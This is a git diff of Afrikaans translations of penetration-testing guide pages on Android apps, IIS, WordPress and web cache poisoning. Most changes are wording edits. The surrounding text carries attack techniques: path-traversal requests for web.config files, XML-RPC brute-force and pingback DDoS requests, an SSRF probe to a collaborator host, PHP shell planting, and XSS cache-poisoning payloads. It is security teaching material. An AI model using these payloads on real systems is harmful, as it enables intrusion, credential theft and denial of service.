word deur **`grantUriPermission`** instellings in die app se manifest, wat eienskappe soos `path`, `pathPrefix`, en `pathPattern` benut vir gedetailleerde toegangbeheer. -Invoervalidasie is van kardinale belang om kwesbaarhede, soos SQL-inspuiting, te voorkom. Inhoudverskaffers ondersteun basiese operasies: `insert()`, `update()`, `delete()`, en `query()`, wat datamanipulasie en -deling tussen toepassings fasiliteer. +Invoervalidasie is van uiterste belang om kwesbaarhede, soos SQL-inspuiting, te voorkom. Inhoudverskaffers ondersteun basiese operasies: `insert()`, `update()`, `delete()`, en `query()`, wat datamanipulasie en -deling tussen toepassings fasiliteer. -**FileProvider**, 'n gespesialiseerde Inhoudverskaffer, fokus op die veilige deel van lêers. Dit word in die app se manifest gedefinieer met spesifieke eienskappe om toegang tot vouers te beheer, aangedui deur `android:exported` en `android:resource` wat na vouer konfigurasies verwys. Versigtigheid word aanbeveel wanneer daar gedeel word met gidse om te voorkom dat sensitiewe data per ongeluk blootgestel word. +**FileProvider**, 'n gespesialiseerde Inhoudverskaffer, fokus op die veilige deel van lêers. Dit word in die app se manifest gedefinieer met spesifieke eienskappe om toegang tot vouers te beheer, aangedui deur `android:exported` en `android:resource` wat na vouer konfigurasies verwys. Versigtigheid word aanbeveel wanneer daar vouers gedeel word om te voorkom dat sensitiewe data per ongeluk blootgestel word. -Voorbeeld manifest verklaring vir FileProvider: +Voorbeeld manifestverklaring vir FileProvider: ```xml ``` @@ -126,14 +128,14 @@ U kan ook 'n geexporteerde aktiwiteit vanaf **adb** begin: ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -### Inhoud Verskaffers +### Inhoudverskaffers -Hierdie pos was te groot om hier te wees, so **jy kan** [**dit op sy eie bladsy hier toegang**](exploiting-content-providers.md). +Hierdie pos was te groot om hier te wees, so **jy kan** [**dit op sy eie bladsy hier toegang**](exploiting-content-providers.md) verkry. ### Dienste -'n Geverifieerde diens word binne die Manifest.xml verklaar: -```markup +'n Gedeelde diens word binne die Manifest.xml verklaar: +```html ``` Binnen die kode **check** vir die \*\*`handleMessage`\*\* funksie wat die **message** sal **receive**: @@ -185,7 +187,7 @@ Nadat jy hierdie Uitsendingsontvangers ontdek het, moet jy die **kode** daarvan ```bash run app.broadcast.info #Detects all ``` -#### Kontroleer uitsendingsontvangers van 'n app +#### Kontroleer uitsaaierontvangers van 'n app ```bash #Check one negative run app.broadcast.info -a jakhar.aseem.diva @@ -227,7 +229,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo ### Is debuggeable 'n Produksie APK moet nooit debuggeable wees.\ -Dit beteken dat jy **java debugger** aan die lopende toepassing kan heg, dit in werksiklus kan inspekteer, breekpunte kan stel, stap vir stap kan gaan, veranderlike waardes kan versamel en selfs hulle kan verander. [InfoSec institute het 'n uitstekende artikel](../exploiting-a-debuggeable-applciation.md) oor hoe om dieper te delf wanneer jou toepassing debuggeable is en runtime kode in te voeg. +Dit beteken dat jy 'n **java debugger** aan die lopende toepassing kan heg, dit in werklike tyd kan inspekteer, breekpunte kan stel, stap vir stap kan gaan, veranderlike waardes kan versamel en selfs hulle kan verander. [InfoSec institute het 'n uitstekende artikel](../exploiting-a-debuggeable-applciation.md) oor hoe om dieper te delf wanneer jou toepassing debuggeable is en runtime kode in te voeg. Wanneer 'n toepassing debuggeable is, sal dit in die Manifest verskyn: ```xml diff --git a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index b67608b6b..cc4c56391 100644 --- a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -4,7 +4,7 @@ Sommige toepassings hou nie van gebruikersafgelaaide sertifikate nie, so om webv # Outomaties -Die hulpmiddel [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) sal **outomaties** die nodige veranderinge aan die toepassing aanbring om die versoeke te begin vasvang en sal ook sertifikaat-pinning deaktiveer (indien daar is). +Die hulpmiddel [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) sal **outomaties** die nodige veranderinge aan die toepassing maak om die versoeke te begin vasvang en sal ook sertifikaat-pinning deaktiveer (indien enige). # Handmatig @@ -24,8 +24,8 @@ Na toevoeging: ![](../../images/img11.png) -Nou gaan in die **res/xml**-map en skep/wysig 'n lêer genaamd network_security_config.xml met die volgende inhoud: -```markup +Gaan nou in die **res/xml**-map en skep/wysig 'n lêer genaamd network_security_config.xml met die volgende inhoud: +```html diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 8410b8986..39db7414c 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -16,7 +16,7 @@ Op enige IIS-bediener waar jy 'n 302 kry, kan jy probeer om die Host-kop te verw nc -v domain.com 80 openssl s_client -connect domain.com:443 ``` -Antwoord wat die interne IP bekendmaak: +Antwoord wat die interne IP openbaar: ``` GET / HTTP/1.0 @@ -29,9 +29,9 @@ X-FEServer: NHEXCHANGE2016 ``` ## Voer .config lêers uit -Jy kan .config lêers oplaai en dit gebruik om kode uit te voer. Een manier om dit te doen is om die kode aan die einde van die lêer binne 'n HTML kommentaar te voeg: [Download voorbeeld hier](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) +Jy kan .config lêers oplaai en dit gebruik om kode uit te voer. Een manier om dit te doen is om die kode aan die einde van die lêer binne 'n HTML-kommentaar te voeg: [Download voorbeeld hier](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) -Meer inligting en tegnieke om hierdie kwesbaarheid te ontgin [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) +Meer inligting en tegnieke om hierdie kwesbaarheid te benut [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) ## IIS Ontdekking Bruteforce @@ -68,7 +68,7 @@ In **.Net MVC aansoeke**, speel die **web.config** lêer 'n belangrike rol deur ### **Verkenning van Binêre Lêers** 'n Voorbeeld van toegang tot die **web.config** lêer word hieronder getoon: -```markup +```html GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded ``` @@ -82,21 +82,21 @@ Hierdie versoek onthul verskeie instellings en afhanklikhede, soos: Hierdie instellings dui aan dat sekere lêers, soos **/bin/WebGrease.dll**, geleë is binne die toepassing se /bin gids. -### **Wortelgids Lêers** +### **Worteldirectory Lêers** -Lêers wat in die wortelgids gevind word, soos **/global.asax** en **/connectionstrings.config** (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die toepassing se konfigurasie en werking. +Lêers wat in die worteldirectory gevind word, soos **/global.asax** en **/connectionstrings.config** (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die toepassing se konfigurasie en werking. ### **Namespaces en Web.Config** MVC-toepassings definieer ook addisionele **web.config lêers** vir spesifieke namespaces om herhalende verklarings in elke lêer te vermy, soos gedemonstreer met 'n versoek om 'n ander **web.config** af te laai: -```markup +```html GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded ``` -### **Aflaai van DLL's** +### **Aflaai DLL's** Die vermelding van 'n pasgemaakte naamruimte dui op 'n DLL genaamd "**WebApplication1**" wat in die /bin-gids teenwoordig is. Na hierdie, word 'n versoek om die **WebApplication1.dll** af te laai, gewys: -```markup +```html GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` @@ -190,14 +190,14 @@ As jy 'n fout soos die volgende sien: ![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) Dit beteken dat die bediener **nie die korrekte domeinnaam** binne die Host-header ontvang het.\ -Om toegang tot die webblad te verkry, kan jy kyk na die bediende **SSL Sertifikaat** en dalk kan jy die domein/subdomeinnaam daar vind. As dit nie daar is nie, mag jy dalk **brute force VHosts** moet doen totdat jy die korrekte een vind. +Om toegang tot die webblad te verkry, kan jy kyk na die bediende **SSL Sertifikaat** en dalk kan jy die domein/subdomeinnaam daar vind. As dit nie daar is nie, mag jy **brute force VHosts** moet gebruik totdat jy die korrekte een vind. ## Ou IIS kwesbaarhede wat die moeite werd is om na te kyk ### Microsoft IIS tilde karakter “\~” Kwesbaarheid/Funksie – Korte Lêer/Map Naam Ontsluiting Jy kan probeer om **mappe en lêers** binne elke ontdekte map te **enumerate** (selfs as dit Basiese Verifikasie vereis) met behulp van hierdie **tegniek**.\ -Die hoofbeperking van hierdie tegniek, as die bediener kwesbaar is, is dat **dit slegs tot die eerste 6 letters van die naam van elke lêer/map en die eerste 3 letters van die uitbreiding** van die lêers kan vind. +Die hoofbeperking van hierdie tegniek, as die bediener kwesbaar is, is dat dit **slegs tot die eerste 6 letters van die naam van elke lêer/map en die eerste 3 letters van die uitbreiding** van die lêers kan vind. Jy kan [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) gebruik om vir hierdie kwesbaarheid te toets:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` @@ -219,9 +219,9 @@ Jy kan probeer om hierdie **kwesbaarheid** en die laaste een te **meng** om nuwe ASP.NET sluit 'n foutopsporingsmodus in en sy lêer word `trace.axd` genoem. -Dit hou 'n baie gedetailleerde log van alle versoeke wat oor 'n tydperk aan 'n toepassing gemaak is. +Dit hou 'n baie gedetailleerde logboek van alle versoeke wat oor 'n tydperk aan 'n toepassing gemaak is. -Hierdie inligting sluit afgeleë kliënt IP's, sessie-ID's, alle versoek- en antwoordkoekies, fisiese paaie, bronkode-inligting, en moontlik selfs gebruikersname en wagwoorde in. +Hierdie inligting sluit afstandsklient IP's, sessie-ID's, alle versoek- en antwoordkoekies, fisiese paaie, bronkode-inligting, en moontlik selfs gebruikersname en wagwoorde in. [https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) @@ -233,10 +233,10 @@ ASPXAUTH gebruik die volgende inligting: - **`validationKey`** (string): hex-gecodeerde sleutel om te gebruik vir handtekeningvalidasie. - **`decryptionMethod`** (string): (standaard “AES”). -- **`decryptionIV`** (string): hex-gecodeerde inisialisering vektor (standaard na 'n vektor van nulles). +- **`decryptionIV`** (string): hex-gecodeerde inisialiseringvektor (standaard na 'n vektor van nulles). - **`decryptionKey`** (string): hex-gecodeerde sleutel om te gebruik vir ontsleuteling. -Ehowever, sommige mense sal die **standaardwaardes** van hierdie parameters gebruik en sal as **koekie die e-pos van die gebruiker** gebruik. Daarom, as jy 'n web kan vind wat die **dieselfde platform** gebruik wat die ASPXAUTH koekie gebruik en jy **'n gebruiker met die e-pos van die gebruiker wat jy wil naboots** op die bediener onder aanval skep, mag jy in staat wees om die **koekie van die tweede bediener in die eerste een** te gebruik en die gebruiker na te boots.\ +Ehowever, sommige mense sal die **standaardwaardes** van hierdie parameters gebruik en sal as **koekie die e-pos van die gebruiker** gebruik. Daarom, as jy 'n web kan vind wat die **dieselfde platform** gebruik wat die ASPXAUTH koekie gebruik en jy **'n gebruiker met die e-pos van die gebruiker wat jy wil naboots** op die bediener onder aanval skep, mag jy in staat wees om die koekie van die tweede bediener in die eerste een te **gebruik** en die gebruiker na te boots.\ Hierdie aanval het gewerk in hierdie [**skrywe**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19). ## IIS Verifikasie Omseiling met gekapte wagwoorde (CVE-2022-30209) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index c938be0f8..16e22d009 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -22,15 +22,15 @@ - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data toelaat om oorgedra te word met HTTP wat as die vervoermeganisme en XML as die koderingmeganisme optree. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +- `xmlrpc.php` is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data toelaat om met HTTP oorgedra te word as die vervoermeganisme en XML as die koderingmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference). - Die `wp-content` gids is die hoofgids waar plugins en temas gestoor word. - `wp-content/uploads/` Is die gids waar enige lêers wat na die platform gelaai word, gestoor word. - `wp-includes/` Dit is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers, en widgets. -- `wp-sitemap.xml` In WordPress weergawes 5.5 en groter, genereer WordPress 'n sitemap XML-lêer met al die openbare plasings en publiek navraagbare plasingstipes en taksonomieë. +- `wp-sitemap.xml` In WordPress weergawes 5.5 en groter, genereer WordPress 'n sitemap XML-lêer met al openbare plasings en publiek navraagbare plasings tipes en taksonomieë. **Post eksploitatie** -- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, autentikasiesleutels en sout, en die databasis tabelvoorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in probleemoplossing. +- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasis gasheer, gebruikersnaam en wagwoord, autentikasiesleutels en sout, en die databasis tabel voorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in probleemoplossing. ### Gebruikers Toestemmings @@ -103,7 +103,7 @@ Let wel dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos gemaak het. * Neem ook kennis dat **/wp-json/wp/v2/pages** IP-adresse kan lek. -- **Aanmeld gebruikersnaam enumerasie**: Wanneer jy aanmeld in **`/wp-login.php`** is die **boodskap** **anders** as die aangeduide **gebruikersnaam bestaan of nie**. +- **Inlog gebruikersnaam enumerasie**: Wanneer jy inlog in **`/wp-login.php`** is die **boodskap** **anders** as die aangeduide **gebruikersnaam bestaan of nie**. ### XML-RPC @@ -112,7 +112,7 @@ As `xml-rpc.php` aktief is, kan jy 'n geloofsbriewe brute-force uitvoer of dit g Om te sien of dit aktief is, probeer om toegang te verkry tot _**/xmlrpc.php**_ en stuur hierdie versoek: **Kontroleer** -```markup +```html system.listMethods @@ -123,7 +123,7 @@ Om te sien of dit aktief is, probeer om toegang te verkry tot _**/xmlrpc.php**_ **Geloofsbriewe Bruteforce** **`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is sommige van die metodes wat gebruik kan word om geloofsbriewe te brute-force. As jy enige van hulle kan vind, kan jy iets soos stuur: -```markup +```html wp.getUsersBlogs @@ -139,7 +139,7 @@ Die boodskap _"Onkorrekte gebruikersnaam of wagwoord"_ binne 'n 200 kode antwoor ![](<../../images/image (721).png>) Met die korrekte geloofsbriewe kan jy 'n lêer oplaai. In die antwoord sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) -```markup +```html wp.uploadFile @@ -174,13 +174,13 @@ Daar is ook 'n **sneller manier** om akrediteer te brute-force met **`system.mul **Om 2FA te omseil** -Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige akrediteer het maar die hoofingang is beskerm deur 2FA, **kan jy dalk xmlrpc.php misbruik om in te log met daardie akrediteer terwyl jy 2FA omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsole kan doen, kan uitvoer nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige akrediteer het maar die hoofingang is beskerm deur 2FA, **kan jy dalk xmlrpc.php misbruik om in te log met daardie akrediteer terwyl jy 2FA omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsole kan uitvoer, kan doen nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS of poort skandering** As jy die metode _**pingback.ping**_ in die lys kan vind, kan jy die Wordpress dwing om 'n arbitrêre versoek na enige gasheer/poort te stuur.\ -Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om **toegang** te verkry tot een **plek** (so 'n **DDoS** word in daardie plek veroorsaak) of jy kan dit gebruik om **Wordpress** te laat **skandeer** van 'n interne **netwerk** (jy kan enige poort aandui). -```markup +Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om **toegang** tot een **plek** te kry (so 'n **DDoS** word in daardie plek veroorsaak) of jy kan dit gebruik om **Wordpress** te laat **skandeer** van 'n interne **netwerk** (jy kan enige poort aandui). +```html pingback.ping @@ -196,7 +196,7 @@ As jy **faultCode** met 'n waarde **groter** as **0** (17) kry, beteken dit die Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak. **DDoS** -```markup +```html pingback.ping @@ -211,13 +211,13 @@ Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\ Wanneer hierdie lêer **geaccess** word, word 'n "**zware**" MySQL **query** uitgevoer, so dit kan deur **aanvallers** gebruik word om 'n **DoS** te **veroorsaak**.\ -Ook, standaard, word die `wp-cron.php` op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek) aangeroep, wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS). +Ook, standaard, word die `wp-cron.php` op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek), wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS). Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak). ### /wp-json/oembed/1.0/proxy - SSRF -Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te access en die Wordpress-webwerf mag 'n versoek na jou maak. +Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te access en die Wordpress-webwerf mag 'n versoek aan jou maak. Dit is die antwoord wanneer dit nie werk nie: @@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Kry toegang deur 'n bietjie te oorskryf -Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bietjie van enige wordpress-lêer omflip. So jy kon die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omflip om die NOT (`!`) operasie te NOP. +Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bietjie van enige wordpress-lêer omdraai. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omdraai om die NOT (`!`) operasie te NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -254,7 +254,7 @@ Verander die inhoud na 'n php shell: ![](<../../images/image (384).png>) -Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang verkry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -295,7 +295,7 @@ Toegang daartoe en jy sal die URL sien om die reverse shell uit te voer: ### Uploading and activating malicious plugin -Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en wat benut kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg: +Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en kan benut word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg: 1. **Plugin Verkryging**: Die plugin word verkry van 'n bron soos Exploit DB soos [**hier**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installasie**: @@ -334,11 +334,11 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### Aanvaloppervlak -Om te weet hoe 'n Wordpress-plugin funksionaliteit kan blootstel, is sleutel om kwesbaarhede in sy funksionaliteit te vind. Jy kan vind hoe 'n plugin funksionaliteit kan blootstel in die volgende opsomming en 'n paar voorbeelde van kwesbare plugins in [**hierdie blogpos**](https://nowotarski.info/wordpress-nonce-authorization/). +Om te weet hoe 'n Wordpress-plugin funksionaliteit kan blootstel, is sleutel om kwesbaarhede in sy funksionaliteit te vind. Jy kan vind hoe 'n plugin funksionaliteit mag blootstel in die volgende opsomming en 'n paar voorbeelde van kwesbare plugins in [**hierdie blogpos**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX-handlers. Hierdie kan logika, magtiging of outentikasie-foute bevat. Boonop is dit 'n soort van gereeld dat hierdie funksies beide die outentikasie en magtiging op die bestaan van 'n wordpress nonce sal baseer wat **enige gebruiker wat in die Wordpress-instantie geoutentiseer is, mag hê** (ongeag sy rol). +Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX-handlers. Hierdie kan logika, magtiging of outentikasie-foute bevat. Boonop is dit 'n soort van gereeld dat hierdie funksies beide die outentikasie en magtiging op die bestaan van 'n wordpress nonce gaan baseer wat **enige gebruiker wat in die Wordpress-instantie geoutentiseer is, mag hê** (ongeag sy rol). Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel: ```php @@ -348,7 +348,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **Die gebruik van `nopriv` maak die eindpunt toeganklik vir enige gebruikers (selfs nie-geverifieerde nie).** > [!CAUTION] -> Boonop, as die funksie net die magtiging van die gebruiker met die funksie `wp_verify_nonce` nagaan, kyk hierdie funksie net of die gebruiker ingelog is, dit kyk gewoonlik nie na die rol van die gebruiker nie. So lae geprivilegieerde gebruikers mag toegang hê tot hoë geprivilegieerde aksies. +> Boonop, as die funksie net die magtiging van die gebruiker met die funksie `wp_verify_nonce` nagaan, dan kyk hierdie funksie net of die gebruiker ingelogde is, dit kyk gewoonlik nie na die rol van die gebruiker nie. So lae-bevoegde gebruikers mag toegang hê tot hoë-bevoegde aksies. - **REST API** @@ -384,9 +384,9 @@ Ook, **installeer slegs betroubare WordPress-inproppe en temas**. ### Sekuriteitsinproppe -- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) -- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) -- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) +- [**Wordfence Sekuriteit**](https://wordpress.org/plugins/wordfence/) +- [**Sucuri Sekuriteit**](https://wordpress.org/plugins/sucuri-scanner/) +- [**iThemes Sekuriteit**](https://wordpress.org/plugins/better-wp-security/) ### **Ander Aanbevelings** diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 411fcf3b6..619a9df2e 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -6,8 +6,8 @@ > **Wat is die verskil tussen web cache poisoning en web cache deception?** > -> - In **web cache poisoning** veroorsaak die aanvaller dat die aansoek 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander aansoekgebruikers bedien. -> - In **web cache deception** veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache. +> - In **web cache poisoning** veroorsaak die aanvaller dat die toepassing 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander toepassingsgebruikers bedien. +> - In **web cache deception** veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache. ## Cache Poisoning @@ -15,7 +15,7 @@ Cache poisoning is daarop gemik om die kliënt-kant cache te manipuleer om klië Die uitvoering van 'n cache poisoning aanval behels verskeie stappe: -1. **Identifikasie van Ongekykte Insette**: Dit is parameters wat, alhoewel nie vereis vir 'n versoek om in die cache gestoor te word nie, die antwoord wat deur die bediener teruggestuur word, kan verander. Die identifikasie van hierdie insette is van kardinale belang aangesien dit benut kan word om die cache te manipuleer. +1. **Identifikasie van Ongekykte Insette**: Dit is parameters wat, alhoewel nie vereis word vir 'n versoek om in die cache gestoor te word nie, die antwoord wat deur die bediener teruggestuur word, kan verander. Die identifikasie van hierdie insette is van kardinale belang aangesien dit benut kan word om die cache te manipuleer. 2. **Eksploitatie van die Ongekykte Insette**: Nadat die ongekykte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se antwoord op 'n manier te verander wat die aanvaller bevoordeel. 3. **Verseker dat die Besmette Antwoord in die Cache Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde antwoord in die cache gestoor word. Op hierdie manier sal enige gebruiker wat toegang tot die betrokke bladsy verkry terwyl die cache besoedel is, die besmette antwoord ontvang. @@ -38,12 +38,12 @@ Let egter daarop dat **soms hierdie soort statuskodes nie in die cache gestoor w ### Ontdekking: Identifiseer en evalueer ongekykte insette Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **parameters en koptekste te brute-force** wat moontlik die **antwoord van die bladsy verander**. Byvoorbeeld, 'n bladsy mag die kopteks `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrip van daar te laai: -```markup +```html ``` -### Ontlok 'n skadelike reaksie van die agtergrondbediener +### Ontlok 'n skadelike reaksie van die agterkant bediener -Met die parameter/kop geïdentifiseer, kyk hoe dit **gesuiwer** word en **waar** dit **reflekteer** of die reaksie van die kop beïnvloed. Kan jy dit op enige manier misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? voer 'n DoS uit?...) +Met die parameter/kop geïdentifiseer, kyk hoe dit **gesanitiseer** word en **waar** dit **reflekteer** of die reaksie van die kop beïnvloed. Kan jy dit op enige manier misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? voer 'n DoS uit?...) ### Kry die reaksie in die cache @@ -58,13 +58,13 @@ Een meer kop wat verband hou met die cache is **`Age`**. Dit definieer die tyd i Wanneer jy 'n versoek in die cache stoor, wees **versigtig met die koppe wat jy gebruik** omdat sommige daarvan **onverwagte** as **gesleuteld** gebruik kan word en die **slagoffer sal daardie selfde kop moet gebruik**. Toets altyd 'n Cache Poisoning met **verskillende blaaiers** om te kyk of dit werk. -## Exploit Voorbeelde +## Exploiteringsvoorbeelde ### Eenvoudigste voorbeeld -'n Kop soos `X-Forwarded-For` word in die reaksie ongesuiwer gereflekteer.\ -Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy benader, XSS sal ervaar: -```markup +'n Kop soos `X-Forwarded-For` word in die reaksie ongesanitiseer gereflekteer.\ +Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy toegang, XSS sal hê: +```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" @@ -80,7 +80,7 @@ cache-poisoning-to-dos.md ### Gebruik van web cache vergiftiging om koekie-hantering kwesbaarhede te benut Koekies kan ook op die antwoord van 'n bladsy weerspieël word. As jy dit kan misbruik om 'n XSS te veroorsaak, kan jy in staat wees om XSS in verskeie kliënte te benut wat die kwaadwillige cache antwoord laai. -```markup +```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" @@ -107,8 +107,8 @@ cache-poisoning-via-url-discrepancies.md ### Gebruik van verskeie koptekste om web cache vergiftiging kwesbaarhede te benut -Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` na 'n domein wat deur jou beheer word, en `X-Forwarded-Scheme` na `http` stel. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** **stuur** 